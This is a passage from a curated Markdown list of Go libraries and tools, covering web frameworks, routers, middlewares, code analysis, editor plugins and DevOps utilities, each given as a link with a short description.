- [go-vcs](https://github.com/sourcegraph/go-vcs) - manipulate and inspect VCS repositories in Go.
- [hercules](https://github.com/src-d/hercules) - gaining advanced insights from Git repository history.
- [hgo](https://github.com/beyang/hgo) - Hgo is a collection of Go packages providing read-access to local Mercurial repositories.
**[⬆ back to top](#contents)**
## Video
_Libraries for manipulating video._
- [gmf](https://github.com/3d0c/gmf) - Go bindings for FFmpeg av\* libraries.
- [go-astisub](https://github.com/asticode/go-astisub) - Manipulate subtitles in GO (.srt, .stl, .ttml, .webvtt, .ssa/.ass, teletext, .smi, etc.).
- [go-astits](https://github.com/asticode/go-astits) - Parse and demux MPEG Transport Streams (.ts) natively in GO.
- [go-m3u8](https://github.com/etherlabsio/go-m3u8) - Parser and generator library for Apple m3u8 playlists. Actively maintained version of quangngotan95/go-m3u8 with improvements and latest HLS playlist parsing compatibility.
- [go-mpd](https://github.com/unki2aut/go-mpd) - Parser and generator library for MPEG-DASH manifest files.
- [goav](https://github.com/giorgisio/goav) - Comprehensive Go bindings for FFmpeg.
- [gortsplib](https://github.com/aler9/gortsplib) - Pure Go RTSP server and client library.
- [gst](https://github.com/ziutek/gst) - Go bindings for GStreamer.
- [libgosubs](https://github.com/wargarblgarbl/libgosubs) - Subtitle format support for go. Supports .srt, .ttml, and .ass.
- [libvlc-go](https://github.com/adrg/libvlc-go) - Go bindings for libvlc 2.X/3.X/4.X (used by the VLC media player).
- [m3u8](https://github.com/grafov/m3u8) - Parser and generator library of M3U8 playlists for Apple HLS.
- [v4l](https://github.com/korandiz/v4l) - Video capture library for Linux, written in Go.
**[⬆ back to top](#contents)**
## Web Frameworks
_Full stack web frameworks._
- [aah](https://aahframework.org) - Scalable, performant, rapid development Web framework for Go.
- [Aero](https://github.com/aerogo/aero) - High-performance web framework for Go, reaches top scores in Lighthouse.
- [Air](https://github.com/aofei/air) - An ideally refined web framework for Go.
- [anoweb](https://github.com/go-the-way/anoweb) - The lightweight and powerful web framework using the new way for Go.Another go the way.
- [appy](https://github.com/appist/appy) - An opinionated productive web framework that helps scaling business easier.
- [Atreugo](https://github.com/savsgio/atreugo) - High performance and extensible micro web framework with zero memory allocations in hot paths.
- [Banjo](https://github.com/nsheremet/banjo) - Very simple and fast web framework for Go.
- [Beego](https://github.com/beego/beego) - beego is an open-source, high-performance web framework for the Go programming language.
- [Buffalo](https://gobuffalo.io) - Bringing the productivity of Rails to Go!
- [Confetti Framework](https://confetti-framework.github.io/docs/) - Confetti is a Go web application framework with an expressive, elegant syntax. Confetti combines the elegance of Laravel and the simplicity of Go.
- [Don](https://github.com/abemedia/go-don) - A highly performant and simple to use API framework.
- [Echo](https://github.com/labstack/echo) - High performance, minimalist Go web framework.
- [Fiber](https://github.com/gofiber/fiber) - An Express.js inspired web framework build on Fasthttp.
- [Fireball](https://github.com/zpatrick/fireball) - More "natural" feeling web framework.
- [Flamingo](https://github.com/i-love-flamingo/flamingo) - Framework for pluggable web projects. Including a concept for modules and offering features for DI, Configareas, i18n, template engines, graphql, observability, security, events, routing & reverse routing etc.
- [Flamingo Commerce](https://github.com/i-love-flamingo/flamingo-commerce) - Providing e-commerce features using clean architecture like DDD and ports and adapters, that you can use to build flexible e-commerce applications.
- [Gearbox](https://github.com/abahmed/gearbox) - A web framework written in Go with a focus on high performance and memory optimization.
- [Gin](https://github.com/gin-gonic/gin) - Gin is a web framework written in Go! It features a martini-like API with much better performance, up to 40 times faster. If you need performance and good productivity.
- [Ginrpc](https://github.com/xxjwxc/ginrpc) - Gin parameter automatic binding tool,gin rpc tools.
- [Gizmo](https://github.com/NYTimes/gizmo) - Microservice toolkit used by the New York Times.
- [go-json-rest](https://github.com/ant0ine/go-json-rest) - Quick and easy way to setup a RESTful JSON API.
- [go-rest](https://github.com/ungerik/go-rest) - Small and evil REST framework for Go.
- [Goa](https://github.com/goadesign/goa) - Goa provides a holistic approach for developing remote APIs and microservices in Go.
- [goa](https://github.com/goa-go/goa) - goa is just like koajs for golang, it is a flexible, light, high-performance and extensible web framework based on middleware.
- [GoFrame](https://github.com/gogf/gf) - GoFrame is a modular, full-featured and production-ready application development framework of golang.
- [golamb](https://github.com/twharmon/golamb) - Golamb makes it easier to write API endpoints for use with AWS Lambda and API Gateway.
- [Golax](https://github.com/fulldump/golax) - A non Sinatra fast HTTP framework with support for Google custom methods, deep interceptors, recursion and more.
- [Golf](https://github.com/dinever/golf) - Golf is a fast, simple and lightweight micro-web framework for Go. It comes with powerful features and has no dependencies other than the Go Standard Library.
- [Gondola](https://github.com/rainycape/gondola) - The web framework for writing faster sites, faster.
- [gongular](https://github.com/mustafaakin/gongular) - Fast Go web framework with input mapping/validation and (DI) Dependency Injection.
- [GoTuna](https://github.com/gotuna/gotuna) - Minimalistic web framework for Go with mux router, middlewares, sessions, templates, embedded views and static files.
- [goweb](https://github.com/twharmon/goweb) - Web framework with routing, websockets, logging, middleware, static file server (optional gzip), and automatic TLS.
- [Goyave](https://github.com/go-goyave/goyave) - Feature-complete REST API framework aimed at clean code and fast development, with powerful built-in functionalities.
- [Hertz](https://github.com/cloudwego/hertz) - A high-performance and strong-extensibility Go HTTP framework that helps developers build microservices.
- [hiboot](https://github.com/hidevopsio/hiboot) - hiboot is a high performance web application framework with auto configuration and dependency injection support.
- [Huma](https://github.com/danielgtaylor/huma/) - Framework for modern REST/GraphQL APIs with built-in OpenAPI 3, generated documentation, and a CLI.
- [Macaron](https://github.com/go-macaron/macaron) - Macaron is a high productive and modular design web framework in Go.
- [mango](https://github.com/paulbellamy/mango) - Mango is a modular web-application framework for Go, inspired by Rack, and PEP333.
- [Microservice](https://github.com/claygod/microservice) - The framework for the creation of microservices, written in Golang.
- [neo](https://github.com/ivpusic/neo) - Neo is minimal and fast Go Web Framework with extremely simple API.
- [patron](https://github.com/beatlabs/patron) - Patron is a microservice framework following best cloud practices with a focus on productivity.
- [Pnutmux](https://gitlab.com/fruitygo/pnutmux) - Pnutmux is a powerful Go web framework that uses regex for matching and handling HTTP requests. It offers features such as CORS handling, structured logging, URL parameters extraction, middlewares, and concurrency limiting.
- [Pulse](https://github.com/gopulse/pulse) - Pulse is an HTTP web framework written in Go (Golang)
- [Resoursea](https://github.com/resoursea/api) - REST framework for quickly writing resource based services.
- [REST Layer](https://github.com/rs/rest-layer) - Framework to build REST/GraphQL API on top of databases with mostly configuration over code.
- [Revel](https://github.com/revel/revel) - High-productivity web framework for the Go language.
- [rex](https://github.com/goanywhere/rex) - Rex is a library for modular development built upon gorilla/mux, fully compatible with `net/http`.
- [rk-boot](https://github.com/rookie-ninja/rk-boot) - A bootstrapper library for building enterprise go microservice with Gin and gRPC quickly and easily.
- [rux](https://github.com/gookit/rux) - Simple and fast web framework for build golang HTTP applications.
- [tango](https://github.com/lunny/tango) - Micro & pluggable web framework for Go.
- [tigertonic](https://github.com/rcrowley/go-tigertonic) - Go framework for building JSON web services inspired by Dropwizard.
- [uAdmin](https://github.com/uadmin/uadmin) - Fully featured web framework for Golang, inspired by Django.
- [utron](https://github.com/gernest/utron) - Lightweight MVC framework for Go(Golang).
- [vox](https://github.com/aisk/vox) - A golang web framework for humans, inspired by Koa heavily.
- [WebGo](https://github.com/bnkamalesh/webgo) - A micro-framework to build web apps; with handler chaining, middleware and context injection. With standard library compliant HTTP handlers(i.e. http.HandlerFunc).
- [YARF](https://github.com/yarf-framework/yarf) - Fast micro-framework designed to build REST APIs and web services in a fast and simple way.
**[⬆ back to top](#contents)**
### Middlewares
#### Actual middlewares
- [client-timing](https://github.com/posener/client-timing) - An HTTP client for Server-Timing header.
- [CORS](https://github.com/rs/cors) - Easily add CORS capabilities to your API.
- [echo-middleware](https://github.com/faabiosr/echo-middleware) - Middleware for Echo framework with logging and metrics.
- [formjson](https://github.com/rs/formjson) - Transparently handle JSON input as a standard form POST.
- [go-fault](https://github.com/github/go-fault) - Fault injection middleware for Go.
- [go-server-timing](https://github.com/mitchellh/go-server-timing) - Add/parse Server-Timing header.
- [Limiter](https://github.com/ulule/limiter) - Dead simple rate limit middleware for Go.
- [ln-paywall](https://github.com/philippgille/ln-paywall) - Go middleware for monetizing APIs on a per-request basis with the Lightning Network (Bitcoin).
- [mid](https://github.com/bobg/mid) - Miscellaneous HTTP middleware features: idiomatic error return from handlers; receive/respond with JSON data; request tracing; and more.
- [rk-gin](https://github.com/rookie-ninja/rk-gin) - Middleware for Gin framework with logging, metrics, auth, tracing etc.
- [rk-grpc](https://github.com/rookie-ninja/rk-grpc) - Middleware for gRPC with logging, metrics, auth, tracing etc.
- [Tollbooth](https://github.com/didip/tollbooth) - Rate limit HTTP request handler.
- [XFF](https://github.com/sebest/xff) - Handle `X-Forwarded-For` header and friends.
#### Libraries for creating HTTP middlewares
- [alice](https://github.com/justinas/alice) - Painless middleware chaining for Go.
- [catena](https://github.com/codemodus/catena) - http.Handler wrapper catenation (same API as "chain").
- [chain](https://github.com/codemodus/chain) - Handler wrapper chaining with scoped data (net/context-based "middleware").
- [gores](https://github.com/alioygur/gores) - Go package that handles HTML, JSON, XML and etc. responses. Useful for RESTful APIs.
- [interpose](https://github.com/carbocation/interpose) - Minimalist net/http middleware for golang.
- [mediary](https://github.com/HereMobilityDevelopers/mediary) - add interceptors to `http.Client` to allow dumping/shaping/tracing/... of requests/responses.
- [muxchain](https://github.com/stephens2424/muxchain) - Lightweight middleware for net/http.
- [negroni](https://github.com/urfave/negroni) - Idiomatic HTTP middleware for Golang.
- [render](https://github.com/unrolled/render) - Go package for easily rendering JSON, XML, and HTML template responses.
- [renderer](https://github.com/thedevsaddam/renderer) - Simple, lightweight and faster response (JSON, JSONP, XML, YAML, HTML, File) rendering package for Go.
- [rye](https://github.com/InVisionApp/rye) - Tiny Go middleware library (with canned Middlewares) that supports JWT, CORS, Statsd, and Go 1.7 context.
- [stats](https://github.com/thoas/stats) - Go middleware that stores various information about your web application.
**[⬆ back to top](#contents)**
### Routers
- [alien](https://github.com/gernest/alien) - Lightweight and fast http router from outer space.
- [bellt](https://github.com/GuilhermeCaruso/bellt) - A simple Go HTTP router.
- [Bone](https://github.com/go-zoo/bone) - Lightning Fast HTTP Multiplexer.
- [Bxog](https://github.com/claygod/Bxog) - Simple and fast HTTP router for Go. It works with routes of varying difficulty, length and nesting. And he knows how to create a URL from the received parameters.
- [chi](https://github.com/go-chi/chi) - Small, fast and expressive HTTP router built on net/context.
- [fasthttprouter](https://github.com/buaazp/fasthttprouter) - High performance router forked from `httprouter`. The first router fit for `fasthttp`.
- [FastRouter](https://github.com/razonyang/fastrouter) - a fast, flexible HTTP router written in Go.
- [goblin](https://github.com/bmf-san/goblin) - A golang http router based on trie tree.
- [gocraft/web](https://github.com/gocraft/web) - Mux and middleware package in Go.
- [Goji](https://github.com/goji/goji) - Goji is a minimalistic and flexible HTTP request multiplexer with support for `net/context`.
- [GoLobby/Router](https://github.com/golobby/router) - GoLobby Router is a lightweight yet powerful HTTP router for the Go programming language.
- [goroute](https://github.com/goroute/route) - Simple yet powerful HTTP request multiplexer.
- [GoRouter](https://github.com/vardius/gorouter) - GoRouter is a Server/API micro framework, HTTP request router, multiplexer, mux that provides request router with middleware supporting `net/context`.
- [gowww/router](https://github.com/gowww/router) - Lightning fast HTTP router fully compatible with the net/http.Handler interface.
- [httprouter](https://github.com/julienschmidt/httprouter) - High performance router. Use this and the standard http handlers to form a very high performance web framework.
- [httptreemux](https://github.com/dimfeld/httptreemux) - High-speed, flexible tree-based HTTP router for Go. Inspiration from httprouter.
- [lars](https://github.com/go-playground/lars) - Is a lightweight, fast and extensible zero allocation HTTP router for Go used to create customizable frameworks.
- [mux](https://github.com/gorilla/mux) - Powerful URL router and dispatcher for golang.
- [nchi](https://github.com/muir/nchi) - chi-like router built on httprouter with dependency injection based middleware wrappers
- [ngamux](https://github.com/ngamux/ngamux) - Simple HTTP router for Go.
- [ozzo-routing](https://github.com/go-ozzo/ozzo-routing) - An extremely fast Go (golang) HTTP router that supports regular expression route matching. Comes with full support for building RESTful APIs.
- [pure](https://github.com/go-playground/pure) - Is a lightweight HTTP router that sticks to the std "net/http" implementation.
- [Siesta](https://github.com/VividCortex/siesta) - Composable framework to write middleware and handlers.
- [vestigo](https://github.com/husobee/vestigo) - Performant, stand-alone, HTTP compliant URL Router for go web applications.
- [violetear](https://github.com/nbari/violetear) - Go HTTP router.
- [xmux](https://github.com/rs/xmux) - High performance muxer based on `httprouter` with `net/context` support.
- [xujiajun/gorouter](https://github.com/xujiajun/gorouter) - A simple and fast HTTP router for Go.
**[⬆ back to top](#contents)**
## WebAssembly
- [dom](https://github.com/dennwc/dom) - DOM library.
- [go-canvas](https://github.com/markfarnan/go-canvas) - Library to use HTML5 Canvas, with all drawing within go code.
- [tinygo](https://github.com/tinygo-org/tinygo) - Go compiler for small places. Microcontrollers, WebAssembly, and command-line tools. Based on LLVM.
- [vert](https://github.com/norunners/vert) - Interop between Go and JS values.
- [wasmbrowsertest](https://github.com/agnivade/wasmbrowsertest) - Run Go WASM tests in your browser.
- [webapi](https://github.com/gowebapi/webapi) - Bindings for DOM and HTML generated from WebIDL.
**[⬆ back to top](#contents)**
## Windows
- [d3d9](https://github.com/gonutz/d3d9) - Go bindings for Direct3D9.
- [go-ole](https://github.com/go-ole/go-ole) - Win32 OLE implementation for golang.
- [gosddl](https://github.com/MonaxGT/gosddl) - Converter from SDDL-string to user-friendly JSON. SDDL consist of four part: Owner, Primary Group, DACL, SACL.
**[⬆ back to top](#contents)**
## XML
_Libraries and tools for manipulating XML._
- [XML-Comp](https://github.com/xml-comp/xml-comp) - Simple command line XML comparer that generates diffs of folders, files and tags.
- [xml2map](https://github.com/sbabiv/xml2map) - XML to MAP converter written Golang.
- [xmlwriter](https://github.com/shabbyrobe/xmlwriter) - Procedural XML generation API based on libxml2's xmlwriter module.
- [xpath](https://github.com/antchfx/xpath) - XPath package for Go.
- [xquery](https://github.com/antchfx/xquery) - XQuery lets you extract data from HTML/XML documents using XPath expression.
- [zek](https://github.com/miku/zek) - Generate a Go struct from XML.
## Zero Trust
_Libraries and tools to implement Zero Trust architectures._
- [Cosign](https://github.com/sigstore/cosign) - Container Signing, Verification and Storage in an OCI registry.
- [in-toto](https://github.com/in-toto/in-toto-golang) - Go implementation of the in-toto (provides a framework to protect the integrity of the software supply chain) python reference implementation.
- [Spiffe-Vault](https://github.com/philips-labs/spiffe-vault) - Utilizes Spiffe JWT authentication with Hashicorp Vault for secretless authentication.
- [Spire](https://github.com/spiffe/spire) - SPIRE (the SPIFFE Runtime Environment) is a toolchain of APIs for establishing trust between software systems across a wide variety of hosting platforms.
## Code Analysis
_Source code analysis tools, also known as Static Application Security Testing (SAST) Tools._
- [apicompat](https://github.com/bradleyfalzon/apicompat) - Checks recent changes to a Go project for backwards incompatible changes.
- [asty](https://github.com/asty-org/asty) - Converts golang AST to JSON and JSON to AST.
- [blanket](https://gitlab.com/verygoodsoftwarenotvirus/blanket) - blanket is a tool that helps you catch functions which don't have direct unit tests in your Go packages.
- [ChainJacking](https://github.com/Checkmarx/chainjacking) - Find which of your Go lang direct GitHub dependencies is susceptible to ChainJacking attack.
- [Chronos](https://github.com/amit-davidson/Chronos) - Detects race conditions statically
- [dupl](https://github.com/mibk/dupl) - Tool for code clone detection.
- [errcheck](https://github.com/kisielk/errcheck) - Errcheck is a program for checking for unchecked errors in Go programs.
- [gcvis](https://github.com/davecheney/gcvis) - Visualise Go program GC trace data in real time.
- [go-checkstyle](https://github.com/qiniu/checkstyle) - checkstyle is a style check tool like java checkstyle. This tool inspired by java checkstyle, golint. The style referred to some points in Go Code Review Comments.
- [go-cleanarch](https://github.com/roblaszczak/go-cleanarch) - go-cleanarch was created to validate Clean Architecture rules, like a The Dependency Rule and interaction between packages in your Go projects.
- [go-critic](https://github.com/go-critic/go-critic) - source code linter that brings checks that are currently not implemented in other linters.
- [go-mod-outdated](https://github.com/psampaz/go-mod-outdated) - An easy way to find outdated dependencies of your Go projects.
- [go-outdated](https://github.com/firstrow/go-outdated) - Console application that displays outdated packages.
- [goast-viewer](https://github.com/yuroyoro/goast-viewer) - Web based Golang AST visualizer.
- [goimports](https://godoc.org/golang.org/x/tools/cmd/goimports) - Tool to fix (add, remove) your Go imports automatically.
- [golang-ifood-sdk](https://github.com/arxdsilva/golang-ifood-sdk) - iFood API SDK.
- [golines](https://github.com/segmentio/golines) - Formatter that automatically shortens long lines in Go code.
- [GoLint](https://github.com/golang/lint) - Golint is a linter for Go source code.
- [GoPlantUML](https://github.com/jfeliu007/goplantuml) - Library and CLI that generates text plantump class diagram containing information about structures and interfaces with the relationship among them.
- [goreturns](https://sourcegraph.com/github.com/sqs/goreturns) - Adds zero-value return statements to match the func return types.
- [gostatus](https://github.com/shurcooL/gostatus) - Command line tool, shows the status of repositories that contain Go packages.
- [lint](https://github.com/surullabs/lint) - Run linters as part of go test.
- [php-parser](https://github.com/z7zmey/php-parser) - A Parser for PHP written in Go.
- [staticcheck](https://github.com/dominikh/go-tools/tree/master/cmd/staticcheck) - staticcheck is `go vet` on steroids, applying a ton of static analysis checks you might be used to from tools like ReSharper for C#.
- [tickgit](https://github.com/augmentable-dev/tickgit) - CLI and go package for surfacing code comment TODOs (in any language) and applying a `git blame`to identify the author.
- [todocheck](https://github.com/preslavmihaylov/todocheck) - Static code analyser which links TODO comments in code with issues in your issue tracker.
- [unconvert](https://github.com/mdempsky/unconvert) - Remove unnecessary type conversions from Go source.
- [usestdlibvars](https://github.com/sashamelentyev/usestdlibvars) - A linter that detect the possibility to use variables/constants from the Go standard library.
- [vaccum](https://github.com/daveshanley/vacuum) - An ultra-super-fast, lightweight OpenAPI linter and quality checking tool.
- [validate](https://github.com/mccoyst/validate) - Automatically validates struct fields with tags.
**[⬆ back to top](#contents)**
## Editor Plugins
_Plugin for text editors and IDEs._
- [coc-go language server extension for Vim/Neovim](https://github.com/josa42/coc-go) - This plugin adds [gopls](https://github.com/golang/tools/blob/master/gopls/README.md) features to Vim/Neovim.
- [Go Doc](https://github.com/msyrus/vscode-go-doc) - A Visual Studio Code extension for showing definition in output and generating go doc.
- [Go plugin for JetBrains IDEs](https://plugins.jetbrains.com/plugin/9568-go) - Go plugin for JetBrains IDEs.
- [go-language-server](https://github.com/theia-ide/go-language-server) - A wrapper to turn the VSCode go extension into a language server supporting the language-server-protocol.
- [go-mode](https://github.com/dominikh/go-mode.el) - Go mode for GNU/Emacs.
- [go-plus](https://github.com/joefitzgerald/go-plus) - Go (Golang) Package For Atom That Adds Autocomplete, Formatting, Syntax Checking, Linting and Vetting.
- [gocode](https://github.com/nsf/gocode) - Autocompletion daemon for the Go programming language.
- [goimports-reviser](https://github.com/incu6us/goimports-reviser) - Formatting tool for imports.
- [goprofiling](https://marketplace.visualstudio.com/items?itemName=MaxMedia.go-prof) - This extension adds benchmark profiling support for the Go language to VS Code.
- [GoSublime](https://github.com/DisposaBoy/GoSublime) - Golang plugin collection for the text editor SublimeText 3 providing code completion and other IDE-like features.
- [gounit-vim](https://github.com/hexdigest/gounit-vim) - Vim plugin for generating Go tests based on the function's or method's signature.
- [theia-go-extension](https://github.com/theia-ide/theia-go-extension) - Go language support for the Theia IDE.
- [vim-compiler-go](https://github.com/rjohnsondev/vim-compiler-go) - Vim plugin to highlight syntax errors on save.
- [vim-go](https://github.com/fatih/vim-go) - Go development plugin for Vim.
- [vscode-go](https://github.com/golang/vscode-go) - Extension for Visual Studio Code (VS Code) which provides support for the Go language.
- [Watch](https://github.com/eaburns/Watch) - Runs a command in an acme win on file changes.
**[⬆ back to top](#contents)**
## Go Generate Tools
- [generic](https://github.com/usk81/generic) - flexible data type for Go.
- [genny](https://github.com/cheekybits/genny) - Elegant generics for Go.
- [gocontracts](https://github.com/Parquery/gocontracts) - brings design-by-contract to Go by synchronizing the code with the documentation.
- [godal](https://github.com/mafulong/godal) - Generate orm models corresponding to golang by specifying sql ddl file, which can be used by gorm.
- [gonerics](https://github.com/bouk/gonerics) - Idiomatic Generics in Go.
- [gotests](https://github.com/cweill/gotests) - Generate Go tests from your source code.
- [gounit](https://github.com/hexdigest/gounit) - Generate Go tests using your own templates.
- [hasgo](https://github.com/DylanMeeus/hasgo) - Generate Haskell inspired functions for your slices.
- [options-gen](https://github.com/kazhuravlev/options-gen) - Functional options described by Dave Cheney's post "Functional options for friendly APIs".
- [re2dfa](https://github.com/opennota/re2dfa) - Transform regular expressions into finite state machines and output Go source code.
- [sqlgen](https://github.com/anqiansong/sqlgen) - Generate gorm, xorm, sqlx, bun, sql code from SQL file or DSN.
- [TOML-to-Go](https://xuri.me/toml-to-go) - Translates TOML into a Go type in the browser instantly.
- [xgen](https://github.com/xuri/xgen) - XSD (XML Schema Definition) parser and Go/C/Java/Rust/TypeScript code generator.
**[⬆ back to top](#contents)**
## Go Tools
- [colorgo](https://github.com/songgao/colorgo) - Wrapper around `go` command for colorized `go build` output.
- [depth](https://github.com/KyleBanks/depth) - Visualize dependency trees of any package by analyzing imports.
- [docs](https://github.com/go-oas/docs) - Automatically generate RESTful API documentation for GO projects - aligned with Open API Specification standard.
- [go-callvis](https://github.com/TrueFurby/go-callvis) - Visualize call graph of your Go program using dot format.
- [go-james](https://github.com/pieterclaerhout/go-james) - Go project skeleton creator, builds and tests your projects without the manual setup.
- [go-pkg-complete](https://github.com/skelterjohn/go-pkg-complete) - Bash completion for go and wgo.
- [go-swagger](https://github.com/go-swagger/go-swagger) - Swagger 2.0 implementation for go. Swagger is a simple yet powerful representation of your RESTful API.
- [godbg](https://github.com/tylerwince/godbg) - Implementation of Rusts `dbg!` macro for quick and easy debugging during development.
- [gomodrun](https://github.com/dustinblackman/gomodrun/) - Go tool that executes and caches binaries included in go.mod files.
- [gotemplate.io](https://gotemplate.io/) - Online tool to preview `text/template` templates live.
- [gotestdox](https://github.com/bitfield/gotestdox) - Show Go test results as readable sentences.
- [gothanks](https://github.com/psampaz/gothanks) - GoThanks automatically stars your go.mod github dependencies, sending this way some love to their maintainers.
- [igo](https://github.com/rocketlaunchr/igo) - An igo to go transpiler (new language features for Go language!)
- [modver](https://github.com/bobg/modver) - Compare two versions of a Go module to check the version-number change required (major, minor, or patchlevel), according to [semver](https://semver.org/) rules.
- [OctoLinker](https://github.com/OctoLinker/browser-extension) - Navigate through go files efficiently with the OctoLinker browser extension for GitHub.
- [richgo](https://github.com/kyoh86/richgo) - Enrich `go test` outputs with text decorations.
- [roumon](https://github.com/becheran/roumon) - Monitor current state of all active goroutines via a command line interface.
- [rts](https://github.com/galeone/rts) - RTS: response to struct. Generates Go structs from server responses.
- [textra](https://github.com/ravsii/textra) - Extract Go struct field names, types and tags for filtering and exporting.
- [typex](https://github.com/dtgorski/typex) - Examine Go types and their transitive dependencies, alternatively export results as TypeScript value objects (or types) declaration.
**[⬆ back to top](#contents)**
## Software Packages
_Software written in Go._
**[⬆ back to top](#contents)**
### DevOps Tools
- [abbreviate](https://github.com/dnnrly/abbreviate) - abbreviate is a tool turning long strings in to shorter ones with configurable separators, for example to embed branch names in to deployment stack IDs.
- [aptly](https://github.com/smira/aptly) - aptly is a Debian repository management tool.
- [aurora](https://github.com/xuri/aurora) - Cross-platform web-based Beanstalkd queue server console.
- [awsenv](https://github.com/soniah/awsenv) - Small binary that loads Amazon (AWS) environment variables for a profile.
- [Balerter](https://github.com/balerter/balerter) - A self-hosted script-based alerting manager.
- [Blast](https://github.com/dave/blast) - A simple tool for API load testing and batch jobs.
- [bombardier](https://github.com/codesenberg/bombardier) - Fast cross-platform HTTP benchmarking tool.
- [bosun](https://github.com/bosun-monitor/bosun) - Time Series Alerting Framework.
- [cassowary](https://github.com/rogerwelin/cassowary) - Modern cross-platform HTTP load-testing tool written in Go.
- [Ddosify](https://github.com/ddosify/ddosify) - High-performance load testing tool, written in Golang.
- [DepCharge](https://github.com/centerorbit/depcharge) - Helps orchestrating the execution of commands across the many dependencies in larger projects.
- [docker-go-mingw](https://github.com/x1unix/docker-go-mingw) - Docker image for building Go binaries for Windows with MinGW toolchain.
- [Dockerfile-Generator](https://github.com/ozankasikci/dockerfile-generator) - A go library and an executable that produces valid Dockerfiles using various input channels.
- [dogo](https://github.com/liudng/dogo) - Monitoring changes in the source file and automatically compile and run (restart).
- [drone-jenkins](https://github.com/appleboy/drone-jenkins) - Trigger downstream Jenkins jobs using a binary, docker or Drone CI.
- [drone-scp](https://github.com/appleboy/drone-scp) - Copy files and artifacts via SSH using a binary, docker or Drone CI.
- [Dropship](https://github.com/chrismckenzie/dropship) - Tool for deploying code via cdn.
- [easyssh-proxy](https://github.com/appleboy/easyssh-proxy) - Golang package for easy remote execution through SSH and SCP downloading via `ProxyCommand`.
- [fac](https://github.com/mkchoi212/fac) - Command-line user interface to fix git merge conflicts.
- [Fleet device management](https://github.com/fleetdm/fleet) - Lightweight, programmable telemetry for servers and workstations.
- [gaia](https://github.com/gaia-pipeline/gaia) - Build powerful pipelines in any programming language.
- [ghorg](https://github.com/gabrie30/ghorg) - Quickly clone an entire org/users repositories into one directory - Supports GitHub, GitLab, Gitea, and Bitbucket.
- [Gitea](https://github.com/go-gitea/gitea) - Fork of Gogs, entirely community driven.
- [gitea-github-migrator](https://git.jonasfranz.software/JonasFranzDEV/gitea-github-migrator) - Migrate all your GitHub repositories, issues, milestones and labels to your Gitea instance.
- [go-furnace](https://github.com/go-furnace/go-furnace) - Hosting solution written in Go. Deploy your Application with ease on AWS, GCP or DigitalOcean.
- [go-rocket-update](https://github.com/mouuff/go-rocket-update) - A simple way to make self updating Go applications - Supports Github and Gitlab.
- [go-selfupdate](https://github.com/sanbornm/go-selfupdate) - Enable your Go applications to self update.
- [gobrew](https://github.com/cryptojuice/gobrew) - gobrew lets you easily switch between multiple versions of go.
- [gobrew](https://github.com/kevincobain2000/gobrew) - Go version manager. Super simple tool to install and manage Go versions. Install go without root. Gobrew doesn't require shell rehash.
- [godbg](https://github.com/sirnewton01/godbg) - Web-based gdb front-end application.
- [Gogs](https://gogs.io/) - A Self Hosted Git Service in the Go Programming Language.
- [gonative](https://github.com/inconshreveable/gonative) - Tool which creates a build of Go that can cross compile to all platforms while still using the Cgo-enabled versions of the stdlib packages.
- [govvv](https://github.com/ahmetalpbalkan/govvv) - “go build” wrapper to easily add version information into Go binaries.
- [gox](https://github.com/mitchellh/gox) - Dead simple, no frills Go cross compile tool.
- [goxc](https://github.com/laher/goxc) - build tool for Go, with a focus on cross-compiling and packaging.
- [grapes](https://github.com/yaronsumel/grapes) - Lightweight tool designed to distribute commands over ssh with ease.
- [GVM](https://github.com/moovweb/gvm) - GVM provides an interface to manage Go versions.
- [Hey](https://github.com/rakyll/hey) - Hey is a tiny program that sends some load to a web application.
- [httpref](https://github.com/dnnrly/httpref) - httpref is a handy CLI reference for HTTP methods, status codes, headers, and TCP and UDP ports.
- [jcli](https://github.com/jenkins-zh/jenkins-cli) - Jenkins CLI allows you manage your Jenkins as an easy way.
- [kala](https://github.com/ajvb/kala) - Simplistic, modern, and performant job scheduler.
- [kcli](https://github.com/cswank/kcli) - Command line tool for inspecting kafka topics/partitions/messages.
- [ko](https://github.com/google/ko) - Command line tool for building and deploying Go applications on Kubernetes
- [kool](https://github.com/kool-dev/kool) - Command line tool for managing Docker environments as an easy way.
- [kubernetes](https://github.com/kubernetes/kubernetes) - Container Cluster Manager from Google.
- [KubeVela](https://github.com/kubevela/kubevela) - Cloud native application delivery.
- [kwatch](https://github.com/abahmed/kwatch) - Monitor & detect crashes in your Kubernetes(K8s) cluster instantly.
- [lstags](https://github.com/ivanilves/lstags) - Tool and API to sync Docker images across different registries.
- [lwc](https://github.com/timdp/lwc) - A live-updating version of the UNIX wc command.
- [manssh](https://github.com/xwjdsh/manssh) - manssh is a command line tool for managing your ssh alias config easily.
- [Mantil](https://github.com/mantil-io/mantil) - Go specific framework for building serverless applications on AWS that enables you to focus on pure Go code while Mantil takes care of the infrastructure.
- [Mizu](https://github.com/up9inc/mizu) - API traffic viewer for Kubernetes enabling you to view all API communication between microservices, multiprotocol support: HTTP1.1, HTTP/2, AMQP, Kafka, Redis.
- [Moby](https://github.com/moby/moby) - Collaborative project for the container ecosystem to assemble container-based systems.
- [Mora](https://github.com/emicklei/mora) - REST server for accessing MongoDB documents and meta data.
- [ostent](https://github.com/ostrost/ostent) - collects and displays system metrics and optionally relays to Graphite and/or InfluxDB.
- [Packer](https://github.com/mitchellh/packer) - Packer is a tool for creating identical machine images for multiple platforms from a single source configuration.
- [Pewpew](https://github.com/bengadbois/pewpew) - Flexible HTTP command line stress tester.
- [Pomerium](https://github.com/pomerium/pomerium) - Pomerium is an identity-aware access proxy.
- [Rodent](https://github.com/alouche/rodent) - Rodent helps you manage Go versions, projects and track dependencies.
- [s3-proxy](https://github.com/oxyno-zeta/s3-proxy) - S3 Proxy with GET, PUT and DELETE methods and authentication (OpenID Connect and Basic Auth).
- [s3gof3r](https://github.com/rlmcpherson/s3gof3r) - Small utility/library optimized for high speed transfer of large objects into and out of Amazon S3.
- [s5cmd](https://github.com/peak/s5cmd) - Blazing fast S3 and local filesystem execution tool.
- [Scaleway-cli](https://github.com/scaleway/scaleway-cli) - Manage BareMetal Servers from Command Line (as easily as with Docker).
- [script](https://github.com/bitfield/script) - Making it easy to write shell-like scripts in Go for DevOps and system administration tasks.
- [sg](https://github.com/ChristopherRabotin/sg) - Benchmarks a set of HTTP endpoints (like ab), with possibility to use the response code and data between each call for specific server stress based on its previous response.
- [skm](https://github.com/TimothyYe/skm) - SKM is a simple and powerful SSH Keys Manager, it helps you to manage your multiple SSH keys easily!
- [StatusOK](https://github.com/sanathp/statusok) - Monitor your Website and REST APIs.Get Notified through Slack, E-mail when your server is down or response time is more than expected.
